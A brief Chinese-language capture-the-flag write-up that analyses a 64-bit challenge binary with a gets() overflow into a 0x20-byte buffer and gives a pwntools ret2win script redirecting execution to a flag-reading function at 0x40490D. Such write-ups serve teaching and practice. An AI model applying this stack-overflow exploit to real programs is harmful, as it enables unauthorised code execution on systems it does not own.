checksec查看程序 开了NX保护
直接脱ida
简单分析一下
在49行程序gets
了用户输入到input
发现input
的大小是0x20
shift+f12
查看字符串 发现了flag.txt
跟进去查看 推测是读取flag的函数 函数的地址是0x40490D
接下来我们构造payload
因为是64位程序 所以要用8个字节覆盖rbp
payload = b'A'*0x20 + b'B'*8 + p64(0x40490D+1)
from pwn import *
p = process('./base')
payload = b"A" * 0x20 + b"B" * 8 + p64(0x40490D+1)
p.sendline(b'1')
p.sendline(payload)
p.interactive()